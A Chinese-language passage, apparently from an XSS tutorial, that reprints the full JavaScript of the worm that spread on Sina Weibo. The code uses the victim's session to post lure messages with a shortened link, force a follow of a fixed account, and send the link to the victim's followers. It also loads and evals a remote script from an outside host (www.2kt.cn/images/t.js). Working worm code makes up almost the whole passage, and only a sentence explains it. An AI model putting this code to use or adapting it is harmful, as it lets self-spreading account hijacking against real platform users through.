2)蠕蟲
新浪微博曾經受到過xss蠕蟲攻擊,代碼如下
- function createXHR(){
- return window.XMLHttpRequest?
- new XMLHttpRequest():
- new ActiveXObject("Microsoft.XMLHTTP");
- }
- function getappkey(url){
- xmlHttp = createXHR();
- xmlHttp.open("GET",url,false);
- xmlHttp.send();
- result = xmlHttp.responseText;
- id_arr = '';
- id = result.match(/namecard=\"true\" title=\"[^\"]*/g);
- for(i=0;i<id.length;i++){
- sum = id[i].toString().split('"')[3];
- id_arr += sum + '||';
- }
- return id_arr;
- }
- function random_msg(){
- link = ' http://163.fm/PxZHoxn?id=' + new Date().getTime();;
- var msgs = [
- '郭美美事件的一些未注意到的細節:',
- '建黨大業中穿幫的地方:',
- '讓女人心動的100句詩歌:',
- '3D肉團團高清普通話版種子:',
- '這是傳說中的神仙眷侶啊:',
- '驚爆!范冰冰豔照真流出了:',
- '楊冪被爆多次被潛規則:',
- '傻仔拿錘子去搶銀行:',
- '可以監聽別人手機的軟件:',
- '個稅起徵點有望提到4000:'];
- var msg = msgs[Math.floor(Math.random()*msgs.length)] + link;
- msg = encodeURIComponent(msg);
- return msg;
- }
- function post(url,data,sync){
- xmlHttp = createXHR();
- xmlHttp.open("POST",url,sync);
- xmlHttp.setRequestHeader("Accept","text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");
- xmlHttp.setRequestHeader("Content-Type","application/x-www-form-urlencoded; charset=UTF-8");
- xmlHttp.send(data);
- }
- function publish(){
- url = 'http://weibo.com/mblog/publish.php?rnd=' + new Date().getTime();
- data = 'content=' + random_msg() + '&pic=&styleid=2&retcode=';
- post(url,data,true);
- }
- function follow(){
- url = 'http://weibo.com/attention/aj_addfollow.php?refer_sort=profile&atnId=profile&rnd=' + new Date().getTime();
- data = 'uid=' + 2201270010 + '&fromuid=' + $CONFIG.$uid + '&refer_sort=profile&atnId=profile';
- post(url,data,true);
- }
- function message(){
- url = 'http://weibo.com/' + $CONFIG.$uid + '/follow';
- ids = getappkey(url);
- id = ids.split('||');
- for(i=0;i<id.length - 1 & i<5;i++){
- msgurl = 'http://weibo.com/message/addmsg.php?rnd=' + new Date().getTime();
- msg = random_msg();
- msg = encodeURIComponent(msg);
- user = encodeURIComponent(encodeURIComponent(id[i]));
- data = 'content=' + msg + '&name=' + user + '&retcode=';
- post(msgurl,data,false);
- }
- }
- function main(){
- try{
- publish();
- }
- catch(e){}
- try{
- follow();
- }
- catch(e){}
- try{
- message();
- }
- catch(e){}
- }
- try{
- x="g=document.createElement('script');g.src='http://www.2kt.cn/images/t.js';document.body.appendChild(g)";window.opener.eval(x);
- }
- catch(e){}
- main();
- var t=setTimeout('location="http://weibo.com/pub/topic";',5000);
而這段代碼就是通過之前的反url編碼的方式,用src插入進去的。主要是完成了發一條微博,然後關注作者,然後向粉絲推送這條鏈接達到傳遞的目的。